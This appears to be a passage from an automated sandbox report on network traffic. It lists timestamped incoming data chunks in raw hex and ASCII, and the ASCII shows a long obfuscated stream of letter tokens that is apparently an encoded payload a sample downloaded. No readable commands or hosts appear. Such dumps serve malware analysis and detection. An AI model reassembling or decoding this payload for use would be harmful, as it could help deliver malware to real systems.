2021-10-29 18:29:04 UTC	28	IN	Data Raw: 45 20 71 58 45 20 44 4f 20 71 71 6d 20 71 71 45 20 71 4f 58 20 71 4a 57 20 57 70 20 57 57 20 71 58 58 20 4d 57 20 45 57 20 4d 58 20 6d 6d 20 71 4f 71 20 71 4f 4a 20 6d 57 20 70 4a 20 4a 44 20 58 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 44 20 71 4f 4a 20 57 4d 20 70 58 20 57 70 20 71 58 6d 20 44 71 20 71 4a 4a 20 4a 57 71 20 6d 20 6d 71 20 4a 44 20 4d 57 20 57 4f 20 57 6d 20 4d 6d 20 71 20 71 4f 4a 20 71 4f 4d 20 71 71 4a 20 57 4a 20 57 71 20 57 4a 20 70 6d 20 4d 70 20 71 4a 4a 20 4a 44 20 45 45 20 71 71 4a 20 57 4f 20 57 6d 20 70 70 20 57 4f 20 71 70 58 20 71 71 4d 20 58 70 20 71 45 4d 20 71 71 4a 20 70 58 20 4a 44 20 70 57 20 57 4f 20 71 4a 44 20 71 71 6d 20 71 71 45 20 71 4f 58 20 4d 44 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 45 6d 20 71 71 6d 20 71 Data Ascii: E qXE DO qqm qqE qOX qJW Wp WW qXX MW EW MX mm qOq qOJ mW pJ JD XM Xm qqm qJE qOD qOJ WM pX Wp qXm Dq qJJ JWq m mq JD MW WO Wm Mm q qOJ qOM qqJ WJ Wq WJ pm Mp qJJ JD EE qqJ WO Wm pp WO qpX qqM Xp qEM qqJ pX JD pW WO qJD qqm qqE qOX MD WO mX WO Wm Em qqm q
2021-10-29 18:29:04 UTC	29	IN	Data Raw: 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 45 4a 20 4a 6d 20 45 71 20 57 6d 20 58 6d 20 71 4a 4f 20 71 71 4a 20 4a 20 4f 20 57 4f 20 6d 58 20 57 44 20 44 71 20 58 44 20 71 71 44 20 45 20 4a 6d 4f 20 71 71 45 20 57 4f 20 44 6d 20 57 70 20 6d 4d 20 4a 71 58 20 4a 45 20 4d 4d 20 44 4d 20 71 4f 45 20 57 4f 20 6d 58 20 57 4a 20 4a 44 20 58 4a 20 71 20 6d 20 71 4f 4d 20 71 71 4a 20 57 44 20 45 6d 20 57 4a 20 4a 58 20 45 71 20 44 44 20 71 4a 45 20 71 4f 4d 20 4a 6d 71 20 57 4f 20 6d 58 20 57 4f 20 70 57 20 58 6d 20 71 71 6d 20 71 4f 4f 20 71 71 71 20 71 71 57 20 44 6d 20 71 70 57 20 57 57 20 57 6d 20 70 44 20 4d 4f 20 58 71 20 71 4f 4d 20 71 71 4a 20 57 4a 20 70 58 20 4a 44 20 44 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 70 20 71 71 58 20 4a 44 20 45 4f 20 57 4f Data Ascii: qqE qOM qJJ EJ Jm Eq Wm Xm qJO qqJ J O WO mX WD Dq XD qqD E JmO qqE WO Dm Wp mM JqX JE MM DM qOE WO mX WJ JD XJ q m qOM qqJ WD Em WJ JX Eq DD qJE qOM Jmq WO mX WO pW Xm qqm qOO qqq qqW Dm qpW WW Wm pD MO Xq qOM qqJ WJ pX JD DM Xm qqm qJE qOp qqX JD EO WO
2021-10-29 18:29:04 UTC	30	IN	Data Raw: 20 58 4a 20 57 6d 20 58 6d 20 71 4a 4f 20 71 4f 44 20 4d 45 20 4a 57 70 20 71 4f 6d 20 6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 71 70 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4a 44 20 58 58 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 71 71 20 70 71 20 44 44 20 6d 58 20 57 4f 20 44 4f 20 58 45 20 71 71 58 20 4d 70 20 45 6d 20 71 71 4a 20 57 4f 20 57 6d 20 4d 70 20 58 45 20 58 6d 20 71 71 6d 20 71 4a 45 20 45 71 20 71 71 4a 20 57 4f 20 6d 70 20 4a 20 57 70 20 58 6d 20 71 71 71 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 70 70 20 6d 58 20 57 4f 20 70 4d 20 58 44 20 4d 6d 20 71 71 70 20 71 71 71 20 4a 57 6d 20 70 71 20 57 4a 20 70 58 20 44 4f 20 71 70 58 20 4d 58 20 71 71 Data Ascii: XJ Wm Xm qJO qOD ME JWp qOm mX WO WW qqp qDJ qpW qOM qqJ Wm Jm W Wm Xm qJO D XW qqJ WO WX JD XX Xm qqm qJE qqq pq DD mX WO DO XE qqX Mp Em qqJ WO Wm Mp XE Xm qqm qJE Eq qqJ WO mp J Wp Xm qqq qqE qOM qqJ pp mX WO pM XD Mm qqp qqq JWm pq WJ pX DO qpX MX qq
2021-10-29 18:29:04 UTC	31	IN	Data Raw: 71 4a 20 71 4f 44 20 6d 4f 20 44 6d 20 71 4a 6d 20 57 4a 20 44 44 20 71 71 44 20 6d 4d 20 58 6d 20 4a 20 4d 70 20 45 4f 20 71 71 4a 20 57 4f 20 57 58 20 57 44 20 6d 4d 20 44 45 20 6d 4a 20 71 4a 44 20 71 4f 44 20 71 71 6d 20 4d 70 20 71 45 58 20 57 4f 20 57 6d 20 4d 6d 20 45 45 20 70 4d 20 71 6d 44 20 71 6d 70 20 4a 4f 57 20 57 6d 20 4a 6d 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 4a 20 4d 70 20 71 71 45 20 57 4f 20 71 71 4a 20 57 4f 20 57 6d 20 58 6d 20 71 4f 45 20 71 71 45 20 71 4f 4d 20 4d 45 20 44 57 20 71 45 4d 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 4f 20 4d 4d 20 71 4f 4a 20 4d 71 20 4a 4f 20 57 6d 20 6d 58 20 6d 4d 20 57 4d 20 58 57 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 6d 4d 20 57 57 20 6d 4d 20 58 4d 20 4a 4f 58 20 71 71 6d 20 71 71 45 20 71 4f 70 20 Data Ascii: qJ qOD mO Dm qJm WJ DD qqD mM Xm J Mp EO qqJ WO WX WD mM DE mJ qJD qOD qqm Mp qEX WO Wm Mm EE pM qmD qmp JOW Wm Jm Wm Xm qqm qOJ Mp qqE WO qqJ WO Wm Xm qOE qqE qOM ME DW qEM WO Wm Mm qJO MM qOJ Mq JO Wm mX mM WM XW qqE qOM qJJ mM WW mM XM JOX qqm qqE qOp
2021-10-29 18:29:04 UTC	33	IN	Data Raw: 71 20 71 4a 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 6d 71 20 4f 20 57 71 20 57 6d 20 44 57 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 4f 45 20 57 4f 20 6d 58 20 70 57 20 57 4a 20 6d 45 20 71 71 4a 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4d 70 20 57 4f 20 57 71 20 57 6d 20 58 4a 20 71 4a 4f 20 71 45 71 20 71 4f 6d 20 58 44 20 70 44 20 57 58 20 4a 70 44 20 57 6d 20 58 4a 20 58 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 70 4a 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 4a 44 20 44 4f 20 6d 58 20 57 57 20 57 45 20 58 6d 20 71 71 6d 20 71 71 44 20 71 71 58 20 44 6d 20 6d 58 20 6d 58 20 70 45 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 4f 20 71 4f 4d 20 71 71 4a 20 70 57 20 57 4f 20 45 70 20 57 4a 20 58 6d 20 71 71 6d 20 71 71 70 20 Data Ascii: q qJW qqE qOM qqp mq O Wq Wm DW qqm qqE qOM qOE WO mX pW WJ mE qqJ qqE qOM qqD Mp WO Wq Wm XJ qJO qEq qOm XD pD WX JpD Wm XJ XX qqE qOM qqJ Wq pJ WO Wm Xm qqm qqE qOM qJD DO mX WW WE Xm qqm qqD qqX Dm mX mX pE Wm Xm qqm qqO qOM qqJ pW WO Ep WJ Xm qqm qqp
2021-10-29 18:29:04 UTC	34	IN	Data Raw: 58 70 20 71 71 57 20 71 71 45 20 71 4f 45 20 71 4a 4a 20 4a 70 44 20 57 70 20 4a 4f 20 70 4a 20 4d 6d 20 71 45 4a 20 71 71 45 20 71 4f 45 20 4d 4f 20 57 4f 20 6d 58 20 57 71 20 70 58 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 44 70 20 44 71 20 57 6d 20 58 71 20 71 4a 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 6d 71 20 4f 20 6d 58 20 57 6d 20 44 44 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 4f 58 20 57 4f 20 6d 58 20 70 57 20 57 4a 20 6d 45 20 71 71 4a 20 71 71 45 20 71 4f 4d 20 71 71 44 20 6d 4d 20 4d 57 20 70 44 20 57 57 20 58 6d 20 71 71 44 20 71 4a 45 20 71 45 4d 20 71 71 45 20 4a 4f 20 70 58 20 57 44 20 4a 70 4a 20 58 6d 20 71 71 44 20 4d 57 20 71 4f 4d 20 71 71 4a 20 57 71 20 70 4a 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 Data Ascii: Xp qqW qqE qOE qJJ JpD Wp JO pJ Mm qEJ qqE qOE MO WO mX Wq pX Xm qqm qqE qOM qqJ WO Dp Dq Wm Xq qJW qqE qOM qqp mq O mX Wm DD qqm qqE qOM qOX WO mX pW WJ mE qqJ qqE qOM qqD mM MW pD WW Xm qqD qJE qEM qqE JO pX WD JpJ Xm qqD MW qOM qqJ Wq pJ WO Wm Xm qqm q
2021-10-29 18:29:04 UTC	35	IN	Data Raw: 58 20 57 4f 20 6d 4a 20 58 6d 20 71 71 6d 20 71 4f 4f 20 71 71 71 20 71 71 20 6d 58 20 6d 58 20 57 4f 20 57 4f 20 58 45 20 4a 4d 20 71 4f 4a 20 71 4f 58 20 71 71 4a 20 57 4a 20 57 58 20 4a 70 44 20 57 71 20 71 71 6d 20 71 4f 4f 20 71 4a 45 20 71 45 4d 20 71 71 4a 20 57 4a 20 4a 44 20 57 4f 20 57 6d 20 58 57 20 4d 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 45 20 4d 71 20 71 71 6d 20 71 71 4a 20 4d 58 20 71 71 4a 20 57 4f 20 6d 4d 20 6d 71 20 44 20 58 44 20 71 71 6d 20 4d 4d 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 6d 20 57 4f 20 57 6d 20 44 4d 20 71 71 4a 20 71 6d 20 71 71 71 20 71 71 4a 20 57 4f 20 57 4a 20 6d 4d 20 58 4d 20 4d 6d 20 71 71 57 20 71 71 45 20 71 4f 45 20 71 4a 4a 20 4a 70 44 20 57 70 20 4a 4f 20 70 4a 20 4d 6d 20 Data Ascii: X WO mJ Xm qqm qOO qqq qq mX mX WO WO XE JM qOJ qOX qqJ WJ WX JpD Wq qqm qOO qJE qEM qqJ WJ JD WO Wm XW MX qqE qOM qqJ WO mX WO WE Mq qqm qqJ MX qqJ WO mM mq D XD qqm MM qOM qqJ WO mm WO Wm DM qqJ qm qqq qqJ WO WJ mM XM Mm qqW qqE qOE qJJ JpD Wp JO pJ Mm
2021-10-29 18:29:04 UTC	37	IN	Data Raw: 20 4d 44 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 70 20 71 4a 45 20 71 71 4a 20 44 4a 20 44 70 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 71 4f 20 71 71 4a 20 6d 4a 20 6d 58 20 57 4f 20 57 6d 20 45 4d 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 71 71 6d 20 45 70 20 57 4f 20 57 4f 20 57 6d 20 58 4f 20 71 71 70 20 71 71 70 20 4a 20 71 4f 57 20 57 71 20 6d 58 20 57 4a 20 70 70 20 4d 6d 20 71 45 4a 20 71 71 4a 20 45 57 20 71 4f 4a 20 57 44 20 4a 70 58 20 57 4f 20 6d 58 20 71 4a 44 20 71 71 57 20 71 4f 71 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 44 4d 20 4d 4d 20 71 71 45 20 71 4f 6d 20 71 4a 45 20 57 4f 20 6d 58 20 57 71 20 71 4a 20 58 44 20 71 4f 71 20 4a 44 20 70 44 20 71 71 4a 20 57 4f 20 57 6d 20 6d 58 Data Ascii: MD WO mX WO Wm Xm qqm qOp qJE qqJ DJ Dp WO Wm XW qOW DM qqO qqJ mJ mX WO Wm EM qqm qqE qJm qqm Ep WO WO Wm XO qqp qqp J qOW Wq mX WJ pp Mm qEJ qqJ EW qOJ WD JpX WO mX qJD qqW qOq qOM qqJ WO mX WO Wm DM MM qqE qOm qJE WO mX Wq qJ XD qOq JD pD qqJ WO Wm mX
2021-10-29 18:29:04 UTC	38	IN	Data Raw: 58 20 57 57 20 57 6d 20 58 6d 20 71 71 58 20 71 71 20 71 4f 44 20 71 71 4a 20 57 4f 20 57 4a 20 4a 44 20 4a 45 20 58 6d 20 71 71 6d 20 71 71 57 20 44 4d 20 71 4d 57 20 57 71 20 6d 58 20 57 4a 20 70 4d 20 4d 6d 20 71 4a 45 20 71 71 20 71 4f 71 20 71 71 4a 20 57 4f 20 57 4a 20 4a 44 20 71 58 4d 20 58 6d 20 71 71 6d 20 71 71 57 20 71 4a 44 20 71 71 44 20 4a 57 20 57 58 20 71 58 20 71 4d 4f 20 45 71 20 71 71 6d 20 71 71 45 20 44 4d 20 4a 70 4d 20 57 4f 20 6d 58 20 57 44 20 70 4d 20 58 4f 20 71 71 44 20 71 4a 57 20 71 4a 45 20 71 71 57 20 4d 70 20 71 58 57 20 57 4f 20 57 6d 20 58 4a 20 4d 6d 20 71 57 44 20 71 4f 4f 20 4d 4d 20 57 57 20 70 6d 20 57 57 20 44 4d 20 4a 71 44 20 71 71 57 20 71 71 45 20 71 4f 45 20 58 58 20 71 6d 70 20 6d 4d 20 57 4f 20 6d 58 20 45 Data Ascii: X WW Wm Xm qqX qq qOD qqJ WO WJ JD JE Xm qqm qqW DM qMW Wq mX WJ pM Mm qJE qq qOq qqJ WO WJ JD qXM Xm qqm qqW qJD qqD JW WX qX qMO Eq qqm qqE DM JpM WO mX WD pM XO qqD qJW qJE qqW Mp qXW WO Wm XJ Mm qWD qOO MM WW pm WW DM JqD qqW qqE qOE XX qmp mM WO mX E
2021-10-29 18:29:04 UTC	40	IN	Data Raw: 71 57 20 70 4f 20 71 71 6d 20 6d 58 20 6d 58 20 57 4a 20 44 4f 20 45 57 20 71 4a 57 20 4a 6d 58 20 4d 4d 20 71 71 4a 20 57 4f 20 57 4f 20 4a 70 20 70 4a 20 44 6d 20 71 6d 4f 20 71 71 57 20 57 70 20 71 71 4a 20 57 4f 20 57 6d 20 44 57 20 71 58 70 20 58 6d 20 71 71 6d 20 71 71 57 20 4a 4f 45 20 58 57 20 70 45 20 70 44 20 4a 4f 6d 20 6d 58 20 71 70 20 71 71 6d 20 71 71 45 20 71 4f 45 20 70 20 71 45 4d 20 6d 58 20 57 4f 20 6d 58 20 4a 6d 44 20 58 45 20 71 4f 4d 20 71 4a 71 20 71 6d 4a 20 57 4a 20 71 4f 44 20 57 4f 20 57 6d 20 58 4a 20 71 20 4a 6d 6d 20 71 4f 4d 20 71 71 4a 20 57 4a 20 71 6d 44 20 4a 70 20 6d 45 20 44 6d 20 71 6d 4f 20 71 71 57 20 57 6d 20 71 71 4a 20 57 4f 20 57 6d 20 44 57 20 71 58 70 20 58 6d 20 71 71 6d 20 71 71 57 20 4a 4f 45 20 58 57 20 Data Ascii: qW pO qqm mX mX WJ DO EW qJW JmX MM qqJ WO WO Jp pJ Dm qmO qqW Wp qqJ WO Wm DW qXp Xm qqm qqW JOE XW pE pD JOm mX qp qqm qqE qOE p qEM mX WO mX JmD XE qOM qJq qmJ WJ qOD WO Wm XJ q Jmm qOM qqJ WJ qmD Jp mE Dm qmO qqW Wm qqJ WO Wm DW qXp Xm qqm qqW JOE XW
2021-10-29 18:29:04 UTC	41	IN	Data Raw: 71 71 58 20 57 4a 20 4a 4f 44 20 57 4a 20 57 4f 20 58 44 20 71 71 6d 20 71 71 57 20 70 4f 20 4a 71 70 20 57 4f 20 6d 58 20 57 44 20 70 4f 20 44 58 20 71 71 6d 20 71 71 45 20 45 4f 20 58 58 20 70 57 20 6d 58 20 57 4f 20 4a 4d 20 71 4a 6d 20 4a 57 4f 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 6d 20 4a 4a 20 6d 4d 20 57 4f 20 58 71 20 4d 4f 20 57 58 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4a 44 20 57 4f 20 57 6d 20 45 4d 20 44 44 20 71 71 70 20 71 4f 4d 20 57 45 20 57 71 20 6d 58 20 57 4f 20 6d 71 20 58 6d 20 71 71 6d 20 71 4f 4f 20 71 4f 57 20 70 20 71 4d 4f 20 6d 4d 20 57 4f 20 6d 58 20 71 71 70 20 71 20 4a 71 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 4d 57 20 4d 70 20 57 57 20 58 6d 20 71 71 44 20 58 4f 20 70 4f 20 71 4f 57 20 57 4f 20 6d 58 20 57 44 20 58 4d 20 Data Ascii: qqX WJ JOD WJ WO XD qqm qqW pO Jqp WO mX WD pO DX qqm qqE EO XX pW mX WO JM qJm JWO qqE qOM qqX Jm JJ mM WO Xq MO WX qOM qqJ WJ JD WO Wm EM DD qqp qOM WE Wq mX WO mq Xm qqm qOO qOW p qMO mM WO mX qqp q JqO qOM qqJ WD MW Mp WW Xm qqD XO pO qOW WO mX WD XM
2021-10-29 18:29:04 UTC	42	IN	Data Raw: 4f 20 71 58 20 58 6d 20 71 71 6d 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 4a 71 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 4d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 44 71 20 6d 58 20 57 4f 20 57 57 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 71 4d 20 58 57 20 71 71 6d 20 71 71 45 20 6d 6d 20 71 71 70 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 58 6d 20 71 71 6d 20 58 71 20 71 4f 4d 20 71 71 4a 20 57 71 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 71 57 20 6d 4d 20 57 4f 20 57 6d 20 4a 4a 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 45 20 57 4f 20 6d 58 20 57 4f 20 57 45 20 Data Ascii: O qX Xm qqm qqD qOM qqJ WO mX JqD Wm Xm qqm qJD qOM qqJ WO qMX WO Wm Xm qqp qqE qOM qqJ Dq mX WO WW Xm qqm qqE qOM qqJ WO mX WO qqM XW qqm qqE mm qqp WO mX Wq Wm Xm qqm Xq qOM qqJ Wq mX WO Wm Xm qqm qqE qOM qqJ qqW mM WO Wm JJ qqW qqE qOM qqE WO mX WO WE
2021-10-29 18:29:04 UTC	44	IN	Data Raw: 4a 4d 20 71 4d 6d 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 6d 20 71 70 4d 20 57 57 20 58 6d 20 71 71 44 20 71 71 70 20 44 4d 20 71 57 4f 20 57 4f 20 6d 58 20 57 4a 20 70 4f 20 4a 4a 45 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 4f 20 70 70 20 4f 20 44 4a 20 57 6d 20 71 4d 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 4f 20 6d 4a 20 71 71 45 20 71 71 44 20 71 4f 4d 20 71 71 44 20 70 71 20 4a 4f 20 70 44 20 4a 70 4f 20 71 4a 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 58 20 71 70 58 20 6d 58 20 57 4f 20 44 4f 20 71 70 4a 20 71 4a 44 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 4a 44 20 71 70 44 20 57 4f 20 57 6d 20 4d 6d 20 4d 4f 20 4a 4f 6d 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 6d 20 71 70 44 20 57 6d 20 58 6d 20 71 4a 4f 20 4a Data Ascii: JM qMm qOM qqJ WD Jm qpM WW Xm qqD qqp DM qWO WO mX WJ pO JJE qqW qqE qOE MO pp O DJ Wm qMm qqm qqE qOM qqJ WO mX WO WO mJ qqE qqD qOM qqD pq JO pD JpO qJ qqm qqE qOX XX qpX mX WO DO qpJ qJD qqE qOM qqm JD qpD WO Wm Mm MO JOm qOM qqJ WD Jm qpD Wm Xm qJO J
2021-10-29 18:29:04 UTC	45	IN	Data Raw: 71 4f 4d 20 71 71 58 20 70 57 20 57 4a 20 4d 70 20 4a 6d 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 71 71 20 71 71 58 20 4d 70 20 71 4f 20 57 4f 20 57 6d 20 58 4a 20 58 45 20 71 4f 4d 20 4d 6d 20 71 4a 4f 20 6d 58 20 57 71 20 57 6d 20 70 4f 20 71 4a 20 71 71 6d 20 71 71 45 20 71 4f 45 20 71 4f 57 20 71 20 57 6d 20 44 57 20 71 57 45 20 58 6d 20 71 71 6d 20 71 4a 45 20 4a 70 20 4d 4f 20 57 4f 20 6d 58 20 57 71 20 6d 4a 20 58 6d 20 71 71 6d 20 71 71 4d 20 71 4f 4d 20 4d 45 20 57 4f 20 6d 6d 20 70 71 20 57 6d 20 4d 4f 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 6d 58 20 6d 58 20 71 71 44 20 57 6d 20 45 4a 20 71 44 20 71 71 45 20 4d 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 45 44 20 58 44 20 4d 4f 20 71 45 71 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4d Data Ascii: qOM qqX pW WJ Mp JmO Xm qqm qJE qqq qqX Mp qO WO Wm XJ XE qOM Mm qJO mX Wq Wm pO qJ qqm qqE qOE qOW q Wm DW qWE Xm qqm qJE Jp MO WO mX Wq mJ Xm qqm qqM qOM ME WO mm pq Wm MO qqm qqE qOM qqJ mX mX qqD Wm EJ qD qqE MM qqJ WO mX WO qED XD MO qEq qOM qqJ WJ M
2021-10-29 18:29:04 UTC	46	IN	Data Raw: 70 20 58 71 20 58 57 20 71 71 6d 20 71 71 57 20 44 4d 20 71 4a 57 20 57 4f 20 6d 58 20 57 4a 20 58 4d 20 71 57 45 20 71 71 6d 20 71 71 45 20 71 4f 70 20 71 71 6d 20 57 4a 20 4d 57 20 45 20 57 6d 20 58 6d 20 71 71 44 20 58 4f 20 71 71 45 20 44 45 20 57 58 20 57 4f 20 6d 4d 20 57 4f 20 71 4a 6d 20 71 58 20 71 71 45 20 71 4f 4d 20 71 71 58 20 6d 70 20 70 20 57 4a 20 44 4d 20 4a 57 57 20 71 71 6d 20 71 71 45 20 71 4f 70 20 71 4f 20 4a 6d 20 71 6d 4a 20 6d 4d 20 58 4d 20 45 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 4a 20 4a 4f 20 57 4f 20 6d 4d 20 58 4d 20 57 57 20 71 71 57 20 71 71 45 20 71 4f 45 20 58 58 20 71 58 4d 20 6d 58 20 57 4f 20 6d 58 20 57 4d 20 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 70 20 6d 4f 20 71 20 44 4a 20 58 44 20 71 71 70 20 71 71 Data Ascii: p Xq XW qqm qqW DM qJW WO mX WJ XM qWE qqm qqE qOp qqm WJ MW E Wm Xm qqD XO qqE DE WX WO mM WO qJm qX qqE qOM qqX mp p WJ DM JWW qqm qqE qOp qO Jm qmJ mM XM E qqW qqE qOE MJ JO WO mM XM WW qqW qqE qOE XX qXM mX WO mX WM mX qqE qOM qqX Jp mO q DJ XD qqp qq
2021-10-29 18:29:04 UTC	48	IN	Data Raw: 45 45 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 4f 20 57 4f 20 70 45 20 71 58 45 20 71 4a 45 20 71 71 6d 20 71 71 45 20 71 71 71 20 58 57 20 70 44 20 44 45 20 71 57 57 20 57 6d 20 58 6d 20 71 71 44 20 4a 71 57 20 44 4d 20 4a 57 70 20 57 4f 20 6d 58 20 57 4a 20 58 4d 20 4a 71 20 71 71 6d 20 71 71 45 20 71 4f 45 20 58 44 20 4a 6d 20 6d 58 20 57 4f 20 57 6d 20 45 71 20 44 44 20 71 71 4a 20 71 4f 4d 20 71 4d 4a 20 57 71 20 6d 58 20 57 4f 20 71 4d 20 58 6d 20 71 71 6d 20 71 4f 4f 20 71 71 71 20 58 58 20 71 58 6d 20 6d 58 20 57 4f 20 6d 58 20 70 4d 20 71 71 4d 20 71 71 4d 20 71 4f 4d 20 71 71 58 20 57 44 20 6d 45 20 44 71 20 71 58 45 20 4d 4f 20 71 71 6d 20 71 71 45 20 71 71 71 20 58 57 20 70 44 20 70 44 20 4a 4f 6d 20 6d 58 20 70 58 20 71 71 6d 20 71 71 45 20 Data Ascii: EE qqE qOM qqX JO WO pE qXE qJE qqm qqE qqq XW pD DE qWW Wm Xm qqD JqW DM JWp WO mX WJ XM Jq qqm qqE qOE XD Jm mX WO Wm Eq DD qqJ qOM qMJ Wq mX WO qM Xm qqm qOO qqq XX qXm mX WO mX pM qqM qqM qOM qqX WD mE Dq qXE MO qqm qqE qqq XW pD pD JOm mX pX qqm qqE
2021-10-29 18:29:04 UTC	49	IN	Data Raw: 44 4d 20 4a 6d 58 20 57 4f 20 6d 58 20 57 4a 20 6d 58 20 70 4d 20 4a 71 6d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 45 4d 20 57 44 20 57 71 20 57 6d 20 58 4f 20 4d 4f 20 4a 6d 4f 20 71 4f 4d 20 71 71 4a 20 57 4a 20 57 6d 20 4a 4f 6d 20 6d 58 20 58 4a 20 71 71 4a 20 71 71 45 20 71 4f 45 20 70 20 71 57 71 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 4d 58 20 71 71 45 20 71 4f 4d 20 4d 71 20 4a 44 20 70 70 20 57 4f 20 57 6d 20 71 4a 45 20 4d 4f 20 4a 6d 70 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4a 6d 20 71 58 71 20 57 6d 20 58 6d 20 71 71 44 20 71 71 57 20 71 6d 45 20 71 71 58 20 57 70 20 57 4f 20 57 4f 20 6d 58 20 70 4d 20 4a 71 57 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 70 4a 20 57 4f 20 57 6d 20 71 4a 45 20 4d 4f 20 71 4f 4f 20 71 4f 4d 20 71 71 4a 20 4a Data Ascii: DM JmX WO mX WJ mX pM Jqm qqE qOM qJJ EM WD Wq Wm XO MO JmO qOM qqJ WJ Wm JOm mX XJ qqJ qqE qOE p qWq mX WO DO qJm MX qqE qOM Mq JD pp WO Wm qJE MO Jmp qOM qqJ WJ Jm qXq Wm Xm qqD qqW qmE qqX Wp WO WO mX pM JqW qqE qOM qJJ JD pJ WO Wm qJE MO qOO qOM qqJ J
2021-10-29 18:29:04 UTC	50	IN	Data Raw: 4a 71 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 4d 45 20 57 4f 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 4a 4a 20 6d 58 20 57 4f 20 57 57 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 57 6d 20 57 4f 20 6d 58 20 57 4f 20 44 71 20 58 6d 20 71 71 6d 20 71 71 45 20 71 57 57 20 71 71 4a 20 57 4f 20 6d 58 20 6d 4d 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 4a 20 71 4f 4d 20 71 71 4a 20 57 71 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 6d 45 20 6d 4d 20 57 4f 20 57 6d 20 45 70 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 6d 58 20 57 4f 20 71 58 20 58 6d 20 71 71 6d 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d Data Ascii: JqD Wm Xm qqm qJD qOM qqJ WO qME WO Wm Xm qqW qqE qOM qqJ JJ mX WO WW Xm qqm qqE qOM qWm WO mX WO Dq Xm qqm qqE qWW qqJ WO mX mM Wm Xm qqm qJJ qOM qqJ Wq mX WO Wm Xm qqm qqE qOM qqJ mE mM WO Wm Ep qqW qqE qOM qqp WO mX WO qX Xm qqm qqD qOM qqJ WO mX WO Wm
